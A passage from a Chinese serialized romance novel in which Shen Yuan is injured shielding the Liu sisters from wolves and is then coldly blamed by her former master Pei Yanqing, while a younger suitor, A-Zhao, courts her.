她沿着城郊小路往山上走,脚步缓缓。这条山路她以往走过多次,一切都刻在记忆深处。
那时她常随裴晏清到青城巡查田庄,办完正事,他偶尔会策马往山上去。她跟在后头,马蹄踏过碎石,哒哒声响在山谷中回荡。
两人站在山顶,看夕阳一寸寸沉入远山,最后被夜色吞没。
裴晏清站在前面,她站在他身后,隔着几步距离,不发一言。
那样的日落,她看过许多次。
后来再没有过。
沈鸢走上一处山脊,停下脚步。前方视野开阔,整片天空铺展在眼前,无遮无拦。
风吹过山脊,带着高处特有寒意,穿透衣料,渗进皮肤。枯草在风中弯腰,发出细碎沙沙声。
山脚下,柳梦瑶正挽着柳梦玉手臂,沿小径闲逛。
柳梦瑶手中举着一串糖葫芦,咬下一颗,含在腮帮子里鼓鼓囊囊。她目光在街边扫来扫去,忽然顿住,嘴巴停下咀嚼,眼睛眯起来。
“堂姐,你看那人是谁。”
柳梦玉顺着她目光望去,街对面一道身影正往城外方向走。藕荷色褙子,背影清瘦,脚步不疾不徐。
“沈鸢?”柳梦玉微微皱眉。
“就是她。”柳梦瑶将剩下糖葫芦塞进嘴里,含混不清道,“这个时辰往城外走,定是去私会野男人。走,跟上去看看。”
柳梦玉拉住她手臂:“瑶儿,不要多事。”
“怎么是多事?”柳梦瑶咽下糖葫芦,用帕子擦了擦嘴角,眼睛亮晶晶,像发现什么了不得秘密,“她一个未婚姑娘,天快黑了往城外跑,跟上去看看,若是无事最好,若是有事,也好拿个把柄,休想缠着二哥哥。”
柳梦玉还想相劝,柳梦瑶已经提着裙摆追上去。她无奈叹了口气,只得跟在后头。
两人一路尾随,见沈鸢拐上山路。山路越来越窄,两侧树木渐密,遮住天光,路面变得昏暗。枯叶铺了厚厚一层,脚踩上去发出细碎碎裂声。
柳梦瑶走得气喘吁吁,扶住一棵树干喘气。树干粗糙,树皮皲裂,硌得她掌心发红。她抬头往上看,沈鸢身影已经走远,只剩一个小小人影在山脊上移动。
“她到底要去何处?”柳梦瑶跺了跺脚,鞋尖踢起一片枯叶。
两人继续往上走,天光越来越暗,头顶树枝交错。
偶尔一只鸟从枝头飞起,扑棱翅膀声响在寂静山林中格外清晰,吓得柳梦瑶一哆嗦。
终于走到山脊,视野豁然开朗。
只见沈鸢坐在一块青石上,面朝西方,一动不动。夕阳已经沉到山巅以下,只剩半边露在外头,橘红色光芒铺满天际,将云彩染成一片金红。
柳梦瑶站在不远处,愣愣看着那片天。
她从未在这样的高度看过日落。天空如此辽阔,仿佛没有边际。
柳梦玉站在她身侧,斗篷被风吹得猎猎作响,衣角翻飞。
沈鸢听见身后动静,偏头看了一眼,又转回去,继续看那片日落。
柳梦瑶回过神来,拉着柳梦玉走上前,在沈鸢旁边站定。她双手叉腰,下巴微扬,面上带着惯常骄矜。
“沈鸢,你跑这么远,就为了看这个?”
沈鸢没有应声。
柳梦瑶绕到她面前,挡住她视线:“我问你话呢。你是不是来这里私会男子?”
见沈鸢不应,柳梦瑶又继续道:“堂姐,见了吧。裴二爷说的果然不错,这高处看青城,风景不凡,若是二爷有空,定会亲自带你来一览风景。”
她语气轻快,像在炫耀一件无关紧要的小事。
沈鸢原本平静的面容微微一僵。
那句话落在她耳中,像一根极细的针,却精准扎进心口最柔软处。
她眼底的光在一点一点碎裂,无声无息。
原来这里不只独属于他们二人。
裴晏清早已将此处说与旁人,这些年她以为的秘密,她独自珍藏在心底的日落。
原来他都告诉了别人,甚至,他还想亲自带旁人前来。
沈鸢垂下眼睫,将眸中翻涌的情绪尽数遮住。指尖微蜷,指甲掐进掌心,刺痛漫上来,却盖不住胸口那阵钝痛。
沈鸢缓缓起身,径直往山下而去。
柳梦瑶一愣,回头看天色,暮色从四面八方涌来,山脊上的光越来越暗,连近处草木轮廓都开始模糊。
她打了个寒颤,手臂上起了一层鸡皮疙瘩。
“堂姐……”她往柳梦玉身边靠,声音比方才低了几分,“要不,我们下去吧?”
天色暗得快。方才还能看清路面,转眼间只剩脚下模糊影子。山路两侧树木在暮色中变成一团团黑影,像无数蹲伏野兽,一动不动盯着过路人。
沈鸢走在前头,脚步稳健,每一步都踩得实。她对这条山路太熟悉,哪怕闭着眼也不会走错。
柳家姐妹跟在后头,深一脚浅一脚,柳梦瑶几次踩到松动石子,险些摔倒,尖叫一声又及时捂住嘴。
“沈鸢,你走慢些。”柳梦瑶在身后喊,声音带着几分委屈,“我看不清路。”
沈鸢没有放慢脚步,也没有回头。
柳梦瑶咬咬牙,拉着柳梦玉加快步伐。鞋底踩在碎石上,发出刺耳摩擦声,时而打滑,时而陷进松软落叶中,走得狼狈不堪。
裙摆被路边荆棘勾住,她用力一扯,听见布料撕裂声响,心疼得直抽气。
“早知就不跟来了。”柳梦瑶嘟囔一句,声音闷闷。
柳梦玉没有说话,只是握紧堂妹手,掌心沁出薄汗。
走到一处岔路口,沈鸢停下脚步。
天色已经完全暗下来,月亮还未升起,四周一片漆黑,只有远处山脚下镇中零星灯火,像萤火虫一样微弱。
沈鸢犹豫片刻,转身拐进小路,这边能节省大半路程。
柳梦瑶跟在后头,嘴里还在絮絮叨叨:“这路怎么这么黑,连点月光都没有……沈鸢你是不是故意带我们走这种路……我要告诉二哥哥,说你欺负我……”
沈鸢没有理会,目光在前方扫视,脚步比方才快了几分。
小路两侧灌木更密,枝条伸出来,刮过衣袖,发出细碎摩擦声。空气中弥漫着潮湿泥土气息,混着枯叶腐烂甜腥,若有若无,钻进鼻息。
沈鸢脚步忽然一顿,她嗅到一股比方才浓了几分的腥臊味,她站在那儿,一动不动,仔细辨别周围声响。
风声。枯叶沙沙声。远处虫鸣。
还有另一种声音。
很轻,很小心,踩在落叶上,一步一步,缓慢靠近。
沈鸢后背一僵。
“怎么了?”柳梦瑶还在问,声音里满是不耐烦,“怎么不走了?我走不动了,脚都磨出泡了——”
“闭嘴。”沈鸢压低声音,语气从未有过的严厉。
柳梦瑶被她这一声呵住,嘴唇翕动,竟真的未敢再说话。
沈鸢转头,目光扫过两侧灌木丛。
月光升得不高,四周依旧漆黑一片,什么都看不清。
可她能感觉到,那些东西就在附近,在黑暗中灌木丛后,在她看不清地方,有一双双幽绿眼睛盯着她们。
一道低吼从左侧灌木丛中传来。
那声音沉闷,从喉咙深处挤压出来,带着威胁。
柳梦瑶腿一软,抓住
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柳梦玉手臂,指甲掐进肉里。柳梦玉吃痛,却不敢叫出声,她也听见了那声低吼,浑身僵硬,血液像凝固了一般。
沈鸢站在最前面,挡在两人身前。
她立即蹲身拾起一根木棍,一块石头。
一头狼从灌木丛中走出来,月光不知何时升高,银白色光芒洒在山路上,照出那畜牲轮廓。
灰褐色皮毛,脊背高耸,四肢修长,一双眼睛在黑暗中泛着幽绿光芒,像两盏鬼火,幽幽盯着她们。
柳梦瑶尖叫出声,声音尖利刺耳,在山林中回荡,惊起一群夜鸟,扑棱棱飞向夜空。
那声尖叫激怒了狼。它龇了龇牙,露出两排锋利牙齿,牙龈猩红,涎水从齿缝滴落,在月光下泛着亮光。
接连几只狼从不同方向围来,将三人困在中间。
沈鸢往后退了一步,后背几乎贴上柳梦玉肩膀。她感觉到柳梦玉在发抖,浑身颤抖。
柳梦瑶已经说不出话,牙齿打颤,发出咯咯声响,眼泪从眼眶涌出,在脸上画出一道道亮痕。
一只狼扑上来,沈鸢侧身躲过,狼爪擦过她手臂,衣料被撕开一道口子,皮肉传来火辣辣疼痛。
“躲开!”
柳家姐妹闻言,立刻躲到一棵粗壮大树后。
沈鸢来不及看伤口,第二只已经扑到面前,她抬手挡住脸,狼爪划过她小臂,三道血痕从手腕延伸到肘弯,鲜血涌出,顺着手指滴落,砸在落叶上,发出轻微啪嗒声。
腥甜血腥气在空气中弥漫开来,几只狼嗅到血味,更加兴奋,喉咙里发出呜呜低鸣,前爪刨地,尘土飞扬。
又一只扑上来,沈鸢来不及躲,被扑倒在地。后背撞上地面,碎石硌进肉里,剧痛从脊背蔓延到四肢。狼嘴凑近她脖颈,温热鼻息喷在她皮肤上,腥臭气味呛得她几乎窒息。
就在此时,一道破风声响起。
箭矢从黑暗中飞来,精准射入恶狼脖颈。箭簇穿透皮毛,刺穿喉管,鲜血喷涌而出,溅在沈鸢脸上,滚烫,腥咸。狼发出一声惨叫,身子一歪,从她身上滑落,在地上抽搐几下,便不再动弹。
其余几只狼受惊,往后退了几步,却没有散开,仍围在四周,眼中绿光更盛。
又是几道破风声。箭矢连发,精准狠辣,一只接一只狼倒下。惨叫声此起彼伏,在山林中回荡,血腥气浓烈得几乎令人作呕。
最后一只狼转身想逃,箭矢从它后背射入,穿透胸腔,钉在前方树干上。箭尾还在颤动,发出嗡嗡声响。
山林重归寂静。
月光下,一道身影自黑暗中走出。
裴晏清手中握着弓,弓弦还在微微颤动。他穿一件玄色长衫,衣袍下摆沾着泥土和枯叶,发冠歪了,几缕碎发垂在额前。
面色冷峻,下颌线绷紧,唇抿成一条线,目光在狼尸上扫过,确认再无威胁,才将弓递给身后暗卫。
柳梦玉看见裴晏清,浑身一松,腿软得几乎支撑不住。她踉跄两步扑入他怀中,双手攥住他衣襟,脸埋进他胸口,肩膀颤抖,无声哭泣。
裴晏清僵了一瞬。
他剑眉微蹙,一双眸子紧盯着几步开外之人,终是忘了动作。
沈鸢站在不远处,看着这一幕。
她手臂上还在流血,血珠顺着手指滴落,一滴一滴,砸在落叶上,发出细微声响。脸上溅了狼血,温热渐渐变凉,紧绷在皮肤上。
她张了张嘴,喉咙里却发不出任何声音。
眼前景物开始旋转。月亮、树影、狼尸、裴晏清和柳梦玉相拥身影,都搅在一处,模糊混沌,分不清彼此。
沈鸢身疲力竭,阖上双眼。
身子一软,往地上倒去。
16. 016
裴晏清踏进巷子时,晨光刚刚漫过墙头。
昨夜历经那场惊险后,他连夜命人将柳家姐妹送回柳家,又吩咐暗卫去山中处理狼尸,忙到后半夜才合眼。
今日天不亮便起身,连早膳都未用,便往沈家赶来。他也不知为何这样急,只是心中有一团火,烧得他坐立不安。
巷子狭窄,两侧高墙挡住大半晨光,只头顶一线天空透着淡蓝。墙角青苔凝结露水,湿漉漉泛着幽绿光泽。
裴晏清走到沈家院门前,正要抬手叩门,门扇从里打开。
一个年轻男子走出来。
那人穿一件灰蓝色棉袍,袖口挽起半截,露出小臂,臂上挎着一只药箱,箱体木质,边角磨得发亮。
面容端正,眉目间带着几分书卷气,带着淡淡草药味。
裴晏清目光落在那人身上,手指停在半空。
年轻男子见门口有人,愣了一瞬,随即微微颔首算是见礼,侧身从他身旁走过。
药箱擦过裴晏清袖口,箱角硬木触感隔着衣料传来,箱中传出细微瓷器碰撞声,叮叮当当。
裴晏清站在原地,看着那人背影消失在巷口。晨光落在空荡荡巷子里,青石板路面上落着几片枯叶,被风吹得翻卷,露出底下灰褐色地面。
他收回目光,跨过院门。
院中光线比巷子里亮堂许多。晨光从屋檐斜照下来,落在青砖地面,亮晃晃一片。
水盆还搁在墙角,盆中水清澈,映出天上白云。廊下晾着几件衣裳,月白色绣忍冬纹样,在晨风中轻轻晃动。
沈鸢站在正厅门口。
她穿一件石青色褙子,发髻简单挽起,未簪任何饰物,面庞苍白,唇色浅淡。左臂裹着纱布,纱布从肘弯缠到手腕,缠得厚实,白色布面渗出淡淡血迹。
她手中端着一只药碗,苦涩气味弥漫在空气中,混着清晨露水凉意。
此刻看到裴晏清,沈鸢目光平静。两人隔着半座院子对视。
晨风穿堂而过,吹起沈鸢鬓角碎发,拂过面颊。廊下晾着衣裳被风吹得翻卷,衣角拍打竹竿,发出啪啪声响。
裴晏清走上前,步子比平日快,靴底踩在青砖上,发出沉闷声响。他停在沈鸢面前,隔着一臂距离。
“方才那人,是谁?”他开口,声音低哑。
沈鸢抬眼看他,没有回答。
裴晏清声音又低了几分,像从喉咙深处压出来,“一大早一男子便从你家中出去,是何人?”
沈鸢垂下眼,看着手中药碗。碗底药汁乌黑发亮,映出她模糊面容,苍白,消瘦,眼眶下泛着青黑。
“大夫。”她声音很轻,“换药的。”
裴晏清目光落在她左臂纱布上。纱布缠得整齐,每一圈都压着上一圈边缘,结打在手臂外侧,系成一个规整活结。
“大夫?”他重复这两个字,唇角微微弯起一个弧度,笑意却没有到达眼底,“什么大夫这样早便上门?青城的医馆,卯时就坐堂了?”
沈鸢攥紧药碗,指节泛白。碗底残留药汁晃动,荡起细小涟漪,一圈一圈,像石子投入水面。
“他住在隔壁巷子,顺路过来。”沈鸢声音依旧平稳,听不出情绪。
“顺路。”裴晏清又重复一遍,笑意更深,眼底却更冷,“沈鸢,你倒是会找人。昨夜的伤,今日便有大夫上门,还是住在隔壁巷子的,倒是方便。”
沈鸢没有接话,原来裴晏清还是记得她昨夜便受了伤。
裴晏清站在那里,胸口起伏,呼吸急促。他也不知在气何事。一个大夫,上门换药,再正常不过的事。
可一男子从她院中走出来,面带笑意,一副从容自在模样,像在自己家中一般自然。而他站在门口,反倒像个外人。
这个念头让他心中那团火烧得更旺。
“昨夜之事,你可知错?”裴晏清忽然转了话头,声音沉下来。
沈鸢抬眸看他,口中苦涩未散,不知他话中何意。
“你一个女子,一人独自上山,天黑方下山,选错了路引来狼群,连累柳家姐妹受惊。”裴晏清一字一顿,每个字都像从牙缝里挤出来,“柳梦玉金枝玉叶,从未受过这等惊吓。昨夜回去后,一夜未曾安睡,今日连起身都困难。”
沈鸢没有说话。
“你倒是好,一大清早便有大夫上门换药。”裴晏清目光落在那只药碗上,“沈鸢,你个乡野之人,不知轻重,不计后果。梦玉不像你,她身子娇贵,经不起这等折腾。昨夜若是出了事,你能负责么?”
乡野之人。
四个字落在沈鸢耳中,像四根钉子,钉进她心口。
她喉咙发紧,像被人掐住,呼吸都变得困难。身体的疼,手臂上伤口还在隐隐作痛,火烧火燎,都比不过心中那一下尖锐刺痛,像一把刀扎进去,又拧了半圈。
她是乡野之人。
柳梦玉金枝玉叶。
她经得起折腾,柳梦玉受不得惊吓。
昨夜她挡在最前,手臂被狼爪撕开三道口子,鲜血染红整条袖子,险些被狼咬断喉咙。柳梦玉站在她身后,连一根头发丝都未损伤。
可到头来,是她不知轻重,是她连累旁人,是她这个“乡野之人”惹的祸。
沈鸢垂下眼,看着手中药碗。碗底药汁已经凉了,表面浮着一层薄薄药膜。
“是。”她开口,声音很轻,“是我错了。”
她不该忘了这世间之道,身份之别,一个下人妄想惦念主子。
是她之错。
裴晏清看着她。
她站在他面前,脊背挺直,面色平静,毫无波澜。错认得干脆利落,不带半分委屈,不带半分不甘。
这让他心中那团火烧得更烈。
他宁愿她争辩,宁愿她哭,可她似从前在裴府时那样,红着眼眶咬着嘴唇,却倔强地不肯认输。
那样至少他还能看见她的情绪,还能触到她的心。
可她什么都不再给他。
“既然知错……”裴晏清开口,声音比方才更冷,可话还未说完,沈鸢便开了口。
“我会去道歉。”沈鸢将药碗搁在廊下栏杆上,碗底接触木质栏杆,发出轻微一声响。
裴晏清看了她一眼,见她依旧平静,握紧双拳转身往外走。
沈鸢跟在后头,与他隔着几步距离。两人一前一后走出巷子,晨光落在身上,却无丝毫暖意。
镇上行人渐渐多起来,脚步匆匆,各自奔赴各自去处。
裴晏清竟然未去柳家,踏入裴家老宅旁的一家客栈。
柳梦玉竟是未住在柳家,选择靠近裴家老宅的客栈。
她心中某个角落,有什么东西轻轻裂开一道缝,细微得几乎察觉不到,却足以让冷风灌进去。
客栈三层小楼,门面装点雅致,檐下挂着一串红灯笼,灯笼纸面绘着金色祥云纹样,流苏穗子在晨风中轻轻飘荡。
裴晏清走在前面,没有回头,也没有放慢脚步。沈鸢跟在后头,踩着他影子走,鞋底落在青石板上,发出细碎声响。
二楼客房,门扇半掩。
裴晏清推开门,侧身让沈鸢先进。沈鸢跨过门槛,屋内燃着熏香,甜腻香气弥漫在空气中,混着脂粉气息,浓烈得呛人。
窗棂半开,晨光从缝隙漏进来,在地面画出一道细细金线。
柳梦玉坐在床边,披着一件月白色寝衣,发髻散开,长发披在肩上,面庞苍白,眼眶微红,一副楚楚可怜模样。
她看见裴晏清进来,眼睛一亮,那亮光又很快暗下去,垂下眼,睫毛轻轻颤动。<
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“晏清。”她唤他,声音柔弱,带着几分委屈,“你来了。”
裴晏清走过去,在床边椅上坐下,“还烧吗?”
柳梦玉摇摇头,唇角微微弯起一个浅淡笑容:“不烧了,就是还有些乏力。”
裴晏清点了点头,目光落在她面上,带着一种沈鸢从未见过的温柔。
沈鸢站在门口,看着这一幕。
她忽然想起在裴府那些年,每次裴晏清来找她对账,说完正事便走,从不多留一刻。
她生病时,他至多让碧桃传一句话——“好好歇着”,再无其他。她以为他就是那般冷清、淡漠之人。
原来裴晏清不是不擅关切,只是不会用在她身上。
沈鸢一直以为裴晏清要她回扬州,是因为她重要。以为他追来青城,是因为放不下。以为他一次次出现在她面前,是因为心中至少有她一席之地。
此刻她忽然明白,她在裴晏清那儿,从来就只是一个好用的下人。
用着顺手,换了旁人怕麻烦。如此而已。
与柳梦玉不一样。
柳梦玉是他放在心上的人,是需要他呵护的人。
柳梦玉这时才看见沈鸢站在门口,目光在她身上停了一瞬,面上柔弱神色微微收敛,瞬间客气疏离。
“沈姑娘也来了。”她声音温婉,“昨夜多谢你。”
沈鸢站在原地,看着裴晏清坐在柳梦玉榻边,两人之间隔着不足一尺距离。晨光从窗棂漏进来,落在两人身上,像一幅画。
她垂下眼,福了一礼。
“昨夜是民女考虑不周,误走一条危险小径,连累柳姑娘受惊,特来赔罪。”
声音平稳,没有委屈、不甘,只是沉到底的平淡。
柳梦玉看了裴晏清一眼,裴晏清没有说话,她唇角含笑,柔声道:“沈姑娘不必如此,昨夜若非你挡在前头,我们姐妹怕是……”
她没有说下去,垂下眼,睫毛轻颤。
沈昭月觉得她像闯入了别人家中的不速之客,处处碍眼,连呼吸都显得多余。
“柳姑娘好好养着,我先回了。”沈鸢声音很轻。
“你躺着,莫要起来。”裴晏清声音温和,与对待沈鸢时判若两人。
柳梦玉便乖乖坐回去,只探着身子朝沈鸢招手,“沈姑娘,你也好好养伤。”
沈鸢应了一声,转身往外走。她脚步很快,几乎称得上仓皇,下了楼,穿过大堂,外头阳光耀眼,刺得她眼前一花。
她站在石阶上,深吸一口气,河风从水面吹来,带着水草腥气和垂柳清苦味,拂在脸上,凉飕飕的,总算将胸口的窒闷驱散了几分。
她迈步要走,身后传来急促脚步声,踩着石阶咚咚响,比方才上楼时快了许多。
“沈鸢。”
她脚步一顿,尚未回头,手臂便被人从身后攥住。
那力道不小,正握在她伤臂,五指收紧,隔着衣袖也能感觉到指节力度。剧痛从手臂窜来,像一柄钝刀沿着骨头慢割,疼得她眼前发黑,额上冷汗瞬间冒出来。
她闷哼一声,眉头紧紧蹙起,身子不由自主往侧边缩了缩,想将手臂抽出来,那人却握得更紧。
裴晏清站在她身后半步处,面色不善。他显然注意到了她蹙眉缩肩,她厌恶他触碰。
这个念头让他脸色愈发难看,下颌绷紧,眼中浮起一层薄薄怒意。
“和我回扬州,我会处理好此事,柳家不会寻你麻烦。”裴晏清心中有怒气,话语也重了几分。
“二爷,方才柳姑娘也说了,此事非我之错,难不成真是柳家要寻我麻烦?”沈鸢话音凌凌,抽出手转身离开。
裴晏清咬紧牙关,对沈鸢突如其来的尖锐,毫无防备,只看着那道身影摇摇晃晃离开。
17. 017
暮色四合,阿昭匆匆赶来。
他翻身下马时险些绊倒,靴尖踢碎一盆兰草,人尚未站稳,声音已先撞进屋中:“阿姐!”
沈鸢倚在院中竹榻上,听见这一声唤,她眼睫颤了颤,尚未应声,院门便被猛力推开。
阿昭站在门槛上,胸膛起伏剧烈,额上汗水沿着鬓角滑落。他看着沈鸢脸色苍白,整个人僵住一瞬,随即大步跨到榻前,半跪下来。
“阿姐,伤势如何?”他声音喑哑。
沈鸢笑了笑,突然牵动伤处,笑容便淡了下去:“已经无碍了,不必这般慌张。”
阿昭不答话,垂下头去,额角抵在她榻沿边。
过了半晌,沈鸢听见一声极轻的吸气声。她望见阿昭肩头在微微耸动,没有出声。
“是我来得晚了。”他闷声道,声音从榻沿木棱间传上来,模糊又沉。
“你又不能未卜先知,哪里就能赶得巧。”沈鸢声音轻缓,“起来,让我看看你,好些日子没见了。”
阿昭抬起头,眼眶泛红,却咬着唇不肯让泪落下来。
阿昭想笑,嘴角牵动一下,又抿紧了。他目光重新落回她伤处,眉心拧出两道深痕。
“我去请镇上最好的伤科大夫,马上就让他进来给你瞧瞧。”
沈鸢拦住他:“已经上过药了,没大碍。”
沈鸢被他看得无奈,轻声道:“阿昭,你若是还有事,早些回去罢。”
“不回。”他说得干脆,往椅背上一靠,“今夜我想守着你。”
沈鸢哑然,半晌摇头笑了。牵动手臂又疼,她唇角弯起一点弧度,眼中映着烛火,碎碎亮亮的光。
阿昭望着她这笑,胸口那块石头总算松动些许。他从怀中掏出一个小匣子,搁在榻上:“给你带了南巷的桂花糕,还热着。你伤着不能多吃,尝一口就好。”
匣子打开,甜暖的香气散出来,混着药味,反倒生出一种奇异的安宁。
沈鸢拈了一块,咬一小口,桂花的清甜在舌尖化开,她微微眯起眼睛,像只餍足的猫。
他心里忽然软得一塌糊涂,又酸又涨,说不出是何滋味。
窗外夜色渐浓,虫声细细密密织成一片。阿昭去院外折了一枝不知名的白花插瓶,搁在榻边矮几上,说是闻着好睡。
沈鸢望他摆弄花枝的背影,肩背宽阔,阿昭年幼,人也单纯,沈鸢也由着他胡闹。
“阿姐。”阿昭忽然回过头来。
“明日我带你出去走走。”他说得随意,“总闷在屋里,好人也要闷出病来。”
沈鸢想拒绝,话到嘴边又咽了回去。她虽是辞了裴府差事,可归家后也一直没有闲下来过。这段时日发生的事像一层雾,落下来盖住一切,她确实需要透一口气。
“……好。”
阿昭听见沈鸢应下,眼睛亮起来。
*
翌日天气晴好,沈鸢临出门前,沈泊明拉着人上下检查一番,又细细叮嘱后才放人。
阿昭备了一辆青帷小马车,车厢里铺了厚厚软垫,沈鸢靠上去,车走起来伤处也不觉得疼。
马车慢悠悠穿过半座小镇,马车停在城外一处河滩边。
沈鸢掀帘下车时怔了一瞬。眼前一片开阔的河湾,水色青碧,岸边生着一排老柳,柳丝垂到水面,被风拂起细密涟漪。
河滩上长满野草,草尖微黄,其间星星点点开着不知名的野花,紫的白的,小得几乎看不见,却开得热热闹闹。
阿昭已经跳下马车,回过身来伸手扶她。沈鸢犹豫一瞬,将左手递过去,他握住她手腕,力道轻巧,小心翼翼扶她下车,才松开手。
“阿昭,怎么找到这个地方的?”沈鸢环顾四周,深吸一口气,河水泥土青草混在一起的气息涌进肺腑,凉丝丝的,如饮一口山泉。
“前几日办事路过,无意间看到的。”阿昭负手走在前面,步子放得很慢,照顾她伤势,“那时候我就在想,要是阿姐来了一定喜欢。”
沈鸢没接话,弯下腰去看一朵紫色的野花。花瓣极小,薄得像纸,风一吹就颤巍巍的,她伸出一根手指轻轻触了触花瓣,指尖沾上一点凉意。
阿昭站在一旁望着她,暖阳落了她一身,她今日一身月白色的衣裳,头发只用一根银簪挽着,一身素净。
沈鸢眉眼舒展着,唇边噙着一抹淡笑,不再似平时那个事事周全的裴家账房,倒像一个偷得浮生半日闲的小姑娘。
两人在河滩边走了很久。阿昭指给她看水里游过的一群小鱼,又弯腰捡了几块扁平的石头打水漂,石片在水面连跳五下,他得意地回头看她,沈鸢便笑起来,笑声轻而短,像檐下风铃被风吹动了一下。
阳光渐渐西斜,河面上铺了一层碎金,风也凉了些。
阿昭怕她着凉,将车上带的一件披风取来,不由分说披在她肩上,又绕到前面替她系带子。
阿昭竟比她高出一个头了,系带子时要微微低头,睫毛垂下来,根根分明,神情专注得像在做一件极重要的事。
沈鸢垂眼望着他,心里淌过一阵暖意,像春天化雪时山涧里第一道水流。
“阿昭……”她唤他。
沈鸢甫一抬头,便忘见不远处,裴晏清与柳梦玉正并肩立在河堤上,柳梦玉踮脚替他拂去肩上落花,他微微低头,看不清他面容。
沈鸢心头像被钝刀划过,绵密的疼从旧伤处漫上来。
“嗯?”他抬起头,目光正好撞进她眼里。
沈鸢转过身,压下唇角苦涩,终只是摇摇头,轻声淡笑道:“没什么,该回去了。”
阿昭眼中闪过一丝失望,但很快被笑意掩盖。他转身牵马,沈鸢跟在后面,两人沿着河滩往回走。
夕阳将的影子拉得很长很长,两道影子交叠又分开,投在青草野花之间。
马车驶回城时,天色已经暗下来。阿昭没有直接送她回沈家,而是绕到南巷口停下来。
“阿姐,等我片刻。”他说完便跳下马车,跑进巷子里。
沈鸢掀帘望出去,看见他跑到一株老海棠树下,踮起脚尖,折下最高处一枝花。那花开得正好,红白相间,缀在枝头像一团轻云。
他折花时树枝弹回来,簌簌落了他一头碎叶,他也不在意,握着花枝往回跑,靴底踩在青石板上,脚步声又急又脆。
阿昭掀起车帘,将花枝递到她面前。
沈鸢低头看那枝海棠,花瓣上还沾着薄薄一层暮色,泛着柔润的光泽,花枝转折处有一小截新绿,嫩得像能掐出水来。
“阿姐,”阿昭声音不大,每个字却咬得极清楚,“等我上沈家提亲。”
沈鸢抬起头,望见他站在马车下面,仰着脸看
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自己,暮色里的少年人眉目分明,神情认真得不似在说笑。
她忍不住失笑,轻轻摇头:“你才多大,就想着成亲的事了。”
阿昭的脸一下子涨红了,红从耳根漫到脖颈,连握着花枝的手都跟着抖了一下。
他把花枝往她手里一塞,声音拔高了些:“我十八了!阿姐,你不能用年岁来评判一个人。”
沈鸢接过花枝,垂下眼没有应声。
阿昭急了,上前一步,手撑在车辕上,话语像连珠炮一般滚出来:“我虽年纪尚小,你不能就说我不抗事。年岁大又如何?年岁大的人就能挺身而出顶事了么?年岁长了却无心,这样的人比比皆是!你不能……”
他忽然停住了。
只见沈鸢握着花枝的手指骤然收紧,指节泛白,眸光从花枝上慢慢移开,落向某处虚空,里头的光一寸一寸暗下去,像一盏灯被风吹灭。
阿昭的心猛地揪了一下,沈鸢心性平静,几乎不会随意外露情绪。
可她脸上方才闪过疲倦,也有一丝不易察觉的悲痛。
“阿姐……”他声音低下来,带着惶然,“我说错话了?”
沈鸢回过神,嘴角牵起一丝笑,笑意却未到眼底。她摇摇头:“没有。你说得很对。”
四个字说得轻描淡写,阿昭却听出了底下压着的阴郁。他没有再追问,只是将手覆上她握花枝的手背,轻轻安抚。
“阿姐,相信我,我会来的。”他语气比方才更沉稳,“很快。”
沈鸢望向他,少年郎的目光灼灼,没有一丝犹疑。她嘴唇翕动,最终什么也没说,只笑着点了点头。
马车到了沈家,阿昭先跳下去,伸手扶她下车。她落地时站稳了,将海棠花枝握在手中,花枝上的露水已经干了,余下一缕若有若无的清芬。
“进去吧。”她轻声道。
阿昭站着不动。
沈鸢转身走了两步,听见身后传来脚步声,回头一看,阿昭已经退出去好几步,正倒退着往巷口走,一面走一面朝她挥手。
暮色越来越浓,他的面容渐渐模糊,只剩一个轮廓和一只高高举起挥动的手臂。
“阿姐,回去吧!”他远远喊了一声。
沈鸢站了一会儿,望着他身影消失在巷口,才转身推开后门,跨过门槛,沿着抄手游廊往回走。
院中很静,廊下灯还没点,暮色沉得像水,漫过脚面,漫过裙裾。她走过一丛竹子,竹叶沙沙响了一阵,又安静下来。
她不知道的是,在方才阿昭带她路过南巷时,对面那座三层小楼的二楼窗扉半敞着,一抹挺拔身影立在窗后,自暮色降临前就站在那儿。
裴晏清一手撑在窗棂上,指尖将木框按出一道浅痕。他居高临下,望见那道月白色的身影从后门进来,穿过庭院,手中握着一枝明艳的海棠,在沉沉的暮色里显得格外扎眼。
方才在河堤边,见沈鸢言笑晏晏,他匆匆赶来。
又望见了巷口裴昭,少年满面含笑,一双眼都恨不得黏在沈鸢身上。
风从窗棂灌进来,吹动他衣袍下摆。他站在那里一动不动,目光穿过夜色,落在院子里越来越模糊的那点月白色上。
楼下的小二端了茶上来,叩了叩门:“二爷,茶好了。”
裴晏清没有应声,面色阴沉,袖中手紧握成拳。